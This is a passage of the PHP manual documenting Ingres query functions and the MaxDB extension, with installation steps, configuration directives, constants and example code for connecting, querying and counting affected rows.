$options = array( "date_format" => INGRES_DATE_ISO4 );

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

Example #2 Set timezone to HONG-KONG

<?php

$options = array( "timezone" => "HONG-KONG");

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Send an unbuffered SQL query to Ingres

  • « ingres_set_environment
  • MaxDB »
  • PHP Manual
  • Ingres Functions
  • Send an unbuffered SQL query to Ingres

ingres_unbuffered_query

(No version information available, might only be in Git)

ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

Description

mixed ingres_unbuffered_query ( resource $link , string $query [, array $params [, string $types ]] )

ingres_unbuffered_query() sends the given query to the Ingres server.

The query becomes part of the currently open transaction. If there is no open transaction, ingres_unbuffered_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed. Ingres allows only a single unbuffered statement to be active at any one time. The extension will close any active unbuffered statements before executing any SQL. In addition you cannot use ingres_result_seek() to position the row before fetching.

Note: Related Configurations

See also the ingres.describe and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The connection link identifier

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation. See the query parameter in ingres_query() for a list of SQL statements that cannot be executed via ingres_unbuffered_query().

Data inside the query should be properly escaped.

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. See the types parameter in ingres_query() for the list of type codes.

Return Values

ingres_unbuffered_query() returns a query result identifier when there are rows to fetch; else it returns FALSE when there are no rows, as is the case of an INSERT, UPDATE, or DELETE statement. To see if an error occurred, use ingres_errno(), ingres_error(), or ingres_errsqlstate().

Examples

Example #1 Issue a simple un-buffered select

<?php
$link = ingres_connect("demodb");

$result = ingres_unbuffered_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #2 Passing query parameters to ingres_unbuffered_query()

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_unbuffered_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #3 Inserting a BLOB with parameter types

<?php
$link = ingres_connect("demodb");

//Open a photo
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

//Prepare parameters
$params[] = $blob_data;
$params[] = 1201;

//Define parameter types
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_unbuffered_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.


MaxDB

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • MaxDB Functions
    • maxdb_affected_rows — Gets the number of affected rows in a previous MaxDB operation
    • maxdb_autocommit — Turns on or off auto-commiting database modifications
    • maxdb_bind_param — Alias of maxdb_stmt_bind_param
    • maxdb_bind_result — Alias of maxdb_stmt_bind_result
    • maxdb_change_user — Changes the user of the specified database connection
    • maxdb_character_set_name — Returns the default character set for the database connection
    • maxdb_client_encoding — Alias of maxdb_character_set_name
    • maxdb_close_long_data — Alias of maxdb_stmt_close_long_data
    • maxdb_close — Closes a previously opened database connection
    • maxdb_commit — Commits the current transaction
    • maxdb_connect_errno — Returns the error code from last connect call
    • maxdb_connect_error — Returns a string description of the last connect error
    • maxdb_connect — Open a new connection to the MaxDB server
    • maxdb_data_seek — Adjusts the result pointer to an arbitary row in the result
    • maxdb_debug — Performs debugging operations
    • maxdb_disable_reads_from_master — Disable reads from master
    • maxdb_disable_rpl_parse — Disable RPL parse
    • maxdb_dump_debug_info — Dump debugging information into the log
    • maxdb_embedded_connect — Open a connection to an embedded MaxDB server
    • maxdb_enable_reads_from_master — Enable reads from master
    • maxdb_enable_rpl_parse — Enable RPL parse
    • maxdb_errno — Returns the error code for the most recent function call
    • maxdb_error — Returns a string description of the last error
    • maxdb_escape_string — Alias of maxdb_real_escape_string
    • maxdb_execute — Alias of maxdb_stmt_execute
    • maxdb_fetch_array — Fetch a result row as an associative, a numeric array, or both
    • maxdb_fetch_assoc — Fetch a result row as an associative array
    • maxdb_fetch_field_direct — Fetch meta-data for a single field
    • maxdb_fetch_field — Returns the next field in the result set
    • maxdb_fetch_fields — Returns an array of resources representing the fields in a result set
    • maxdb_fetch_lengths — Returns the lengths of the columns of the current row in the result set
    • maxdb_fetch_object — Returns the current row of a result set as an object
    • maxdb_fetch_row — Get a result row as an enumerated array
    • maxdb_fetch — Alias of maxdb_stmt_fetch
    • maxdb_field_count — Returns the number of columns for the most recent query
    • maxdb_field_seek — Set result pointer to a specified field offset
    • maxdb_field_tell — Get current field offset of a result pointer
    • maxdb_free_result — Frees the memory associated with a result
    • maxdb_get_client_info — Returns the MaxDB client version as a string
    • maxdb_get_client_version — Get MaxDB client info
    • maxdb_get_host_info — Returns a string representing the type of connection used
    • maxdb_get_metadata — Alias of maxdb_stmt_result_metadata
    • maxdb_get_proto_info — Returns the version of the MaxDB protocol used
    • maxdb_get_server_info — Returns the version of the MaxDB server
    • maxdb_get_server_version — Returns the version of the MaxDB server as an integer
    • maxdb_info — Retrieves information about the most recently executed query
    • maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect
    • maxdb_insert_id — Returns the auto generated id used in the last query
    • maxdb_kill — Disconnects from a MaxDB server
    • maxdb_master_query — Enforce execution of a query on the master in a master/slave setup
    • maxdb_more_results — Check if there any more query results from a multi query
    • maxdb_multi_query — Performs a query on the database
    • maxdb_next_result — Prepare next result from multi_query
    • maxdb_num_fields — Get the number of fields in a result
    • maxdb_num_rows — Gets the number of rows in a result
    • maxdb_options — Set options
    • maxdb_param_count — Alias of maxdb_stmt_param_count
    • maxdb_ping — Pings a server connection, or tries to reconnect if the connection has gone down
    • maxdb_prepare — Prepare an SQL statement for execution
    • maxdb_query — Performs a query on the database
    • maxdb_real_connect — Opens a connection to a MaxDB server
    • maxdb_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • maxdb_real_query — Execute an SQL query
    • maxdb_report — Enables or disables internal report functions
    • maxdb_rollback — Rolls back current transaction
    • maxdb_rpl_parse_enabled — Check if RPL parse is enabled
    • maxdb_rpl_probe — RPL probe
    • maxdb_rpl_query_type — Returns RPL query type
    • maxdb_select_db — Selects the default database for database queries
    • maxdb_send_long_data — Alias of maxdb_stmt_send_long_data
    • maxdb_send_query — Send the query and return
    • maxdb_server_end — Shut down the embedded server
    • maxdb_server_init — Initialize embedded server
    • maxdb_set_opt — Alias of maxdb_options
    • maxdb_sqlstate — Returns the SQLSTATE error from previous MaxDB operation
    • maxdb_ssl_set — Used for establishing secure connections using SSL
    • maxdb_stat — Gets the current system status
    • maxdb_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • maxdb_stmt_bind_param — Binds variables to a prepared statement as parameters
    • maxdb_stmt_bind_result — Binds variables to a prepared statement for result storage
    • maxdb_stmt_close_long_data — Ends a sequence of maxdb_stmt_send_long_data
    • maxdb_stmt_close — Closes a prepared statement
    • maxdb_stmt_data_seek — Seeks to an arbitray row in statement result set
    • maxdb_stmt_errno — Returns the error code for the most recent statement call
    • maxdb_stmt_error — Returns a string description for last statement error
    • maxdb_stmt_execute — Executes a prepared Query
    • maxdb_stmt_fetch — Fetch results from a prepared statement into the bound variables
    • maxdb_stmt_free_result — Frees stored result memory for the given statement handle
    • maxdb_stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare
    • maxdb_stmt_num_rows — Return the number of rows in statements result set
    • maxdb_stmt_param_count — Returns the number of parameter for the given statement
    • maxdb_stmt_prepare — Prepare an SQL statement for execution
    • maxdb_stmt_reset — Resets a prepared statement
    • maxdb_stmt_result_metadata — Returns result set metadata from a prepared statement
    • maxdb_stmt_send_long_data — Send data in blocks
    • maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation
    • maxdb_stmt_store_result — Transfers a result set from a prepared statement
    • maxdb_store_result — Transfers a result set from the last query
    • maxdb_thread_id — Returns the thread ID for the current connection
    • maxdb_thread_safe — Returns whether thread safety is given or not
    • maxdb_use_result — Initiate a result set retrieval
    • maxdb_warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The MaxDB PHP extension allows you to access the functionality provided by MaxDB 7.5.0 and above. More information about the MaxDB Database server can be found at » http://www.sdn.sap.com/irj/sdn/maxdb.

The MaxDB PHP extension is compatible to the MySQL mysqli extension. There are only minor differences in the behaviour of some functions due to the differences of the underlying database servers, MaxDB and MySQL.

The main differences to mysqli are in the following functions:

  • maxdb_character_set_name() - Returns only ascii or unicode.
  • maxdb_get_client_info() - Returns a different version string.
  • maxdb_get_client_version() - Returns a different version string.
  • maxdb_get_host_info() - Returns localhost or hostname.
  • maxdb_get_server_info() - Returns a different version string.
  • maxdb_get_server_version() - Returns a different version string.
  • maxdb_kill() - Only disconnects the session.
  • maxdb_multi_query() - Can not handle multiple SQL statements.
  • maxdb_next_result() - Function returns always false.
  • maxdb_options() - Supports a different set of options.
  • maxdb_report() - Supports a different report mode.
  • maxdb_stat() - Returns a different system status string.
  • maxdb_stmt_store_result() - Is not necessary for MaxDB.
  • maxdb_store_result() - Is not necessary for MaxDB.

Documentation for MaxDB can be found at » http://maxdb.sap.com/documentation/.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

In order to have these functions available, you must compile PHP with MaxDB support. Additionally, you must have the MaxDB SQLDBC runtime library available to access the MaxDB server.

Documentation for MaxDB SQLDBC can be found at » http://maxdb.sap.com/documentation/.

Download the MaxDB SQLDBC package from » http://www.sdn.sap.com/irj/sdn/maxdb-downloads.

User Contributed Notes

There are no user contributed notes for this page.


Installation

By using the --with-maxdb[=DIR] configuration option you enable PHP to access MaxDB databases. [DIR] points to the directory that contains the installed MaxDB SQLDBC package.

Windows users will need to enable php_maxdb.dll inside of php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MaxDB Configuration Options
Name | Default | Changeable | Changelog
maxdb.default_host | NULL | PHP_INI_ALL |
maxdb.default_db | NULL | PHP_INI_ALL |
maxdb.default_user | NULL | PHP_INI_ALL |
maxdb.default_pw | NULL | PHP_INI_ALL |
maxdb.long_readlen | "200" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

maxdb.default_host string

The default server host to use when connecting to the database server if no other host is specified.

maxdb.default_db string

The default server database to use when connecting if no other database is specified.

maxdb.default_user string

The default user name to use when connecting to the database server if no other name is specified.

maxdb.default_pw string

The default password to use when connecting to the database server if no other password is specified.

maxdb.long_readlen integer

The default maximum length of bytes that is transferred to the client if long data is retrieved from the MaxDB database server.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines resources.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants to use with maxdb_options() are defined. For further description of these constants see » http://maxdb.sap.com/documentation/.

MaxDB PHP client constants
Constant | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

The function maxdb_fetch_array() uses a constant for the different types of result arrays. The following constants are defined:

MaxDB fetch constants
Constant | Description
MAXDB_ASSOC | Columns are returned into the array having the fieldname as the array index.
MAXDB_ASSOC_UPPER | Columns are returned into the array having the upper case fieldname as the array index.
MAXDB_ASSOC_LOWER | Columns are returned into the array having the lower case fieldname as the array index.
MAXDB_BOTH | Columns are returned into the array having both a numerical index and the fieldname as the array index.
MAXDB_NUM | Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

All examples in the MaxDB PHP documentation use the HOTELDB demo database from MaxDB. More about this database can be found at » http://maxdb.sap.com/doc/7_7/44/d8c25164bb38d0e10000000a1553f7/content.htm.

To use the examples in the MaxDB PHP documentation, you have to load the tutorial data into your database. Then you have to set maxdb.default_db in php.ini to the database that contains the tutorial data.

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a MaxDB database.

Example #1 MaxDB extension overview example

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$query = "SELECT * FROM hotel.city";
$result = maxdb_query($link, $query) or die("Query failed : " . maxdb_error());

/* Printing results in HTML */
echo "<table>\n";
while ($line = maxdb_fetch_array($result, MAXDB_ASSOC)) {
    echo "  <tr>\n";
    foreach ($line as $col_value) {
        echo "    <td>$col_value</td>\n";
    }
    echo "  </tr>\n";
}
echo "</table>\n";

/* Free resultset */
maxdb_free_result($result);

/* Closing connection */
maxdb_close($link);
?>

The following example shows how to bind variables to a SELECT INTO statement.

Example #2 Example for use of SELECT INTO statements

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT percentage INTO ? FROM hotel.countrylanguage where language = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$name = "Mbundu";

maxdb_stmt_bind_param($stmt, 'ds', $percentage, $name);
maxdb_stmt_execute($stmt);

printf ("%f\n", $percentage);

maxdb_stmt_close ($stmt);
?>

The following example shows how to use MaxDB database procedures.

Example #3 Example fore using database procedures

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

User Contributed Notes

There are no user contributed notes for this page.


MaxDB Functions

Predefined Classes

maxdb

Represents a connection between PHP and a MaxDB database.

Constructor

  • maxdb - construct a new maxdb object

Methods

  • autocommit - turns on or off auto-commiting database modifications

  • change_user - changes the user of the specified database connection

  • character_set_name - returns the default character set for the database connection

  • close - closes a previously opened connection

  • commit - commits the current transaction

  • connect - opens a new connection to MaxDB database server

  • debug - performs debugging operations

  • dump_debug_info - dumps debug information

  • get_client_info - returns client version

  • get_host_info - returns type of connection used

  • get_server_info - returns version of the MaxDB server

  • get_server_version - returns version of the MaxDB server

  • init - initializes maxdb object

  • info - retrieves information about the most recently executed query

  • kill - asks the server to kill a MaxDB thread

  • multi_query - performs multiple queries

  • more_results - check if more results exist from currently executed multi-query

  • next_result - reads next result from currently executed multi-query

  • options - set options

  • ping - pings a server connection or reconnects if there is no connection

  • prepare - prepares an SQL query

  • query - performs a query

  • real_connect - attempts to open a connection to MaxDB database server

  • escape_string - escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • rollback - rolls back the current transaction

  • select_db - selects the default database

  • ssl_set - sets ssl parameters

  • stat - gets the current system status

  • stmt_init- initializes a statement for use with maxdb_stmt_prepare

  • store_result - transfers a resultset from last query

  • use_result - transfers an unbuffered resultset from last query

  • thread-safe - returns whether thread safety is given or not

Properties

  • affected_rows - gets the number of affected rows in a previous MaxDB operation

  • client_info - returns the MaxDB client version as a string

  • client_version - returns the MaxDB client version as an integer

  • errno - returns the error code for the most recent function call

  • error - returns the error string for the most recent function call

  • field_count - returns the number of columns for the most recent query

  • host_info - returns a string representing the type of connection used

  • info - retrieves information about the most recently executed query

  • insert_id - returns the auto generated id used in the last query

  • protocol_version - returns the version of the MaxDB protocol used

  • sqlstate - returns a string containing the SQLSTATE error code for the last error

  • thread_id - returns the thread ID for the current connection

  • warning_count - returns the number of warnings generated during execution of the previous SQL statement

maxdb_stmt

Represents a prepared statement.

Methods

  • bind_param - binds variables to a prepared statement

  • bind_result - binds variables to a prepared statement for result storage

  • close - closes a prepared statement

  • data-seek - seeks to an arbitrary row in a statement result set

  • execute - executes a prepared statement

  • fetch - fetches result from a prepared statement into bound variables

  • free_result - frees stored result memory for the given statement handle

  • result_metadata - retrieves a resultset from a prepared statement for metadata information

  • prepare - prepares an SQL query

  • send_long_data - sends data in chunks

  • close_long_data - end sending long data

  • reset - resets a prepared statement

  • store_result - buffers complete resultset from a prepared statement

Properties

  • affected_rows - returns affected rows from last statement execution

  • errno - returns errorcode for last statement function

  • errno - returns errormessage for last statement function

  • param_count - returns number of parameter for a given prepare statement

  • sqlstate - returns a string containing the SQLSTATE error code for the last statement function

maxdb_result

Represents the result set obtained from a query against the database.

Methods

  • close - closes resultset

  • data_seek - moves internal result pointer

  • fetch_field - gets column information from a resultset

  • fetch_fields - gets information for all columns from a resulset

  • fetch_field_direct - gets column information for specified column

  • fetch_array - fetches a result row as an associative array, a numeric array, or both.

  • fetch_assoc - fetches a result row as an associative array

  • fetch_object - fetches a result row as an object

  • fetch_row - gets a result row as an enumerated array

  • close - frees result memory

  • field_seek - set result pointer to a specified field offset

Properties

  • current_field - returns offset of current fieldpointer

  • field_count - returns number of fields in resultset

  • lengths - returns an array of columnlengths

  • num_rows - returns number of rows in resultset

Table of Contents

  • maxdb_affected_rows — Gets the number of affected rows in a previous MaxDB operation
  • maxdb_autocommit — Turns on or off auto-commiting database modifications
  • maxdb_bind_param — Alias of maxdb_stmt_bind_param
  • maxdb_bind_result — Alias of maxdb_stmt_bind_result
  • maxdb_change_user — Changes the user of the specified database connection
  • maxdb_character_set_name — Returns the default character set for the database connection
  • maxdb_client_encoding — Alias of maxdb_character_set_name
  • maxdb_close_long_data — Alias of maxdb_stmt_close_long_data
  • maxdb_close — Closes a previously opened database connection
  • maxdb_commit — Commits the current transaction
  • maxdb_connect_errno — Returns the error code from last connect call
  • maxdb_connect_error — Returns a string description of the last connect error
  • maxdb_connect — Open a new connection to the MaxDB server
  • maxdb_data_seek — Adjusts the result pointer to an arbitary row in the result
  • maxdb_debug — Performs debugging operations
  • maxdb_disable_reads_from_master — Disable reads from master
  • maxdb_disable_rpl_parse — Disable RPL parse
  • maxdb_dump_debug_info — Dump debugging information into the log
  • maxdb_embedded_connect — Open a connection to an embedded MaxDB server
  • maxdb_enable_reads_from_master — Enable reads from master
  • maxdb_enable_rpl_parse — Enable RPL parse
  • maxdb_errno — Returns the error code for the most recent function call
  • maxdb_error — Returns a string description of the last error
  • maxdb_escape_string — Alias of maxdb_real_escape_string
  • maxdb_execute — Alias of maxdb_stmt_execute
  • maxdb_fetch_array — Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_assoc — Fetch a result row as an associative array
  • maxdb_fetch_field_direct — Fetch meta-data for a single field
  • maxdb_fetch_field — Returns the next field in the result set
  • maxdb_fetch_fields — Returns an array of resources representing the fields in a result set
  • maxdb_fetch_lengths — Returns the lengths of the columns of the current row in the result set
  • maxdb_fetch_object — Returns the current row of a result set as an object
  • maxdb_fetch_row — Get a result row as an enumerated array
  • maxdb_fetch — Alias of maxdb_stmt_fetch
  • maxdb_field_count — Returns the number of columns for the most recent query
  • maxdb_field_seek — Set result pointer to a specified field offset
  • maxdb_field_tell — Get current field offset of a result pointer
  • maxdb_free_result — Frees the memory associated with a result
  • maxdb_get_client_info — Returns the MaxDB client version as a string
  • maxdb_get_client_version — Get MaxDB client info
  • maxdb_get_host_info — Returns a string representing the type of connection used
  • maxdb_get_metadata — Alias of maxdb_stmt_result_metadata
  • maxdb_get_proto_info — Returns the version of the MaxDB protocol used
  • maxdb_get_server_info — Returns the version of the MaxDB server
  • maxdb_get_server_version — Returns the version of the MaxDB server as an integer
  • maxdb_info — Retrieves information about the most recently executed query
  • maxdb_init — Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_insert_id — Returns the auto generated id used in the last query
  • maxdb_kill — Disconnects from a MaxDB server
  • maxdb_master_query — Enforce execution of a query on the master in a master/slave setup
  • maxdb_more_results — Check if there any more query results from a multi query
  • maxdb_multi_query — Performs a query on the database
  • maxdb_next_result — Prepare next result from multi_query
  • maxdb_num_fields — Get the number of fields in a result
  • maxdb_num_rows — Gets the number of rows in a result
  • maxdb_options — Set options
  • maxdb_param_count — Alias of maxdb_stmt_param_count
  • maxdb_ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • maxdb_prepare — Prepare an SQL statement for execution
  • maxdb_query — Performs a query on the database
  • maxdb_real_connect — Opens a connection to a MaxDB server
  • maxdb_real_escape_string — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • maxdb_real_query — Execute an SQL query
  • maxdb_report — Enables or disables internal report functions
  • maxdb_rollback — Rolls back current transaction
  • maxdb_rpl_parse_enabled — Check if RPL parse is enabled
  • maxdb_rpl_probe — RPL probe
  • maxdb_rpl_query_type — Returns RPL query type
  • maxdb_select_db — Selects the default database for database queries
  • maxdb_send_long_data — Alias of maxdb_stmt_send_long_data
  • maxdb_send_query — Send the query and return
  • maxdb_server_end — Shut down the embedded server
  • maxdb_server_init — Initialize embedded server
  • maxdb_set_opt — Alias of maxdb_options
  • maxdb_sqlstate — Returns the SQLSTATE error from previous MaxDB operation
  • maxdb_ssl_set — Used for establishing secure connections using SSL
  • maxdb_stat — Gets the current system status
  • maxdb_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • maxdb_stmt_bind_param — Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result — Binds variables to a prepared statement for result storage
  • maxdb_stmt_close_long_data — Ends a sequence of maxdb_stmt_send_long_data
  • maxdb_stmt_close — Closes a prepared statement
  • maxdb_stmt_data_seek — Seeks to an arbitray row in statement result set
  • maxdb_stmt_errno — Returns the error code for the most recent statement call
  • maxdb_stmt_error — Returns a string description for last statement error
  • maxdb_stmt_execute — Executes a prepared Query
  • maxdb_stmt_fetch — Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_free_result — Frees stored result memory for the given statement handle
  • maxdb_stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_num_rows — Return the number of rows in statements result set
  • maxdb_stmt_param_count — Returns the number of parameter for the given statement
  • maxdb_stmt_prepare — Prepare an SQL statement for execution
  • maxdb_stmt_reset — Resets a prepared statement
  • maxdb_stmt_result_metadata — Returns result set metadata from a prepared statement
  • maxdb_stmt_send_long_data — Send data in blocks
  • maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation
  • maxdb_stmt_store_result — Transfers a result set from a prepared statement
  • maxdb_store_result — Transfers a result set from the last query
  • maxdb_thread_id — Returns the thread ID for the current connection
  • maxdb_thread_safe — Returns whether thread safety is given or not
  • maxdb_use_result — Initiate a result set retrieval
  • maxdb_warning_count — Returns the number of warnings from the last query for the given link

User Contributed Notes

Sven 25-Feb-2006 09:14
Installation procedure of the maxdb - php module might be a bit troublesome for some part. Me, among others (judjing by forum threads) have managed to get problems when trying to install the maxdb-php module whithout any errorcodes. Making it hard to fix..:)
however, the ODBC-version of MaxDB / SapDB shouldn't be any troubles installing. There's a guide for this at the page:
http://maxdb.yapabout.com/viewtopic.php?t=21

Ofcourse, then the PHP ODBC should be used, not the MaxDB -php version.


Gets the number of affected rows in a previous MaxDB operation

  • « MaxDB Functions
  • maxdb_autocommit »
  • PHP Manual
  • MaxDB Functions
  • Gets the number of affected rows in a previous MaxDB operation

maxdb_affected_rows

maxdb::affected_rows

(PECL maxdb >= 1.0)

maxdb_affected_rows -- maxdb::affected_rows — Gets the number of affected rows in a previous MaxDB operation

Description

Procedural style

int maxdb_affected_rows ( resource $link )

Object oriented style

int $maxdb->affected_rows;

maxdb_affected_rows() returns the number of rows affected by the last INSERT, UPDATE, or DELETE query associated with the provided link parameter. If this number cannot be determined, this function will return -1.

Note:

For SELECT statements maxdb_affected_rows() works like maxdb_num_rows().

The maxdb_affected_rows() function only works with queries which modify a table. In order to return the number of rows from a SELECT query, use the maxdb_num_rows() function instead.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the number of rows affected can not be determined.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
$maxdb->query("CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", $maxdb->affected_rows);

$maxdb->query("ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
$maxdb->query("UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", $maxdb->affected_rows);

/* delete rows */
$maxdb->query("DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", $maxdb->affected_rows);

/* select all rows */
$result = $maxdb->query("SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", $maxdb->affected_rows);

$result->close();

/* Delete table Language */
$maxdb->query("DROP TABLE mycustomer");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
maxdb_query($link, "CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", maxdb_affected_rows($link));

maxdb_query($link, "ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
maxdb_query($link, "UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", maxdb_affected_rows($link));

/* delete rows */
maxdb_query($link, "DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", maxdb_affected_rows($link));

/* select all rows */
$result = maxdb_query($link, "SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", maxdb_affected_rows($link));

maxdb_free_result($result);

/* Delete table Language */
maxdb_query($link, "DROP TABLE mycustomer");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Affected rows (INSERT): 15
Affected rows (UPDATE): 15
Affected rows (DELETE): 0
Affected rows (SELECT): 15

See Also

  • maxdb_num_rows() - Gets the number of rows in a result
  • maxdb_info() - Retrieves information about the most recently executed query

User Contributed Notes

There are no user contributed notes for this page.


Turns on or off auto-commiting database modifications

  • « maxdb_affected_rows
  • maxdb_bind_param »
  • PHP Manual
  • MaxDB Functions
  • Turns on or off auto-commiting database modifications

maxdb_autocommit

maxdb::auto_commit

(PECL maxdb >= 1.0)

maxdb_autocommit -- maxdb::auto_commit — Turns on or off auto-commiting database modifications

Description

Procedural style

bool maxdb_autocommit ( resource $link , bool $mode )

Object oriented style

bool maxdb::auto_commit ( bool $mode )

maxdb_autocommit() is used to turn on or off auto-commit mode on queries for the database connection represented by the link resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
$maxdb->autocommit(TRUE);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
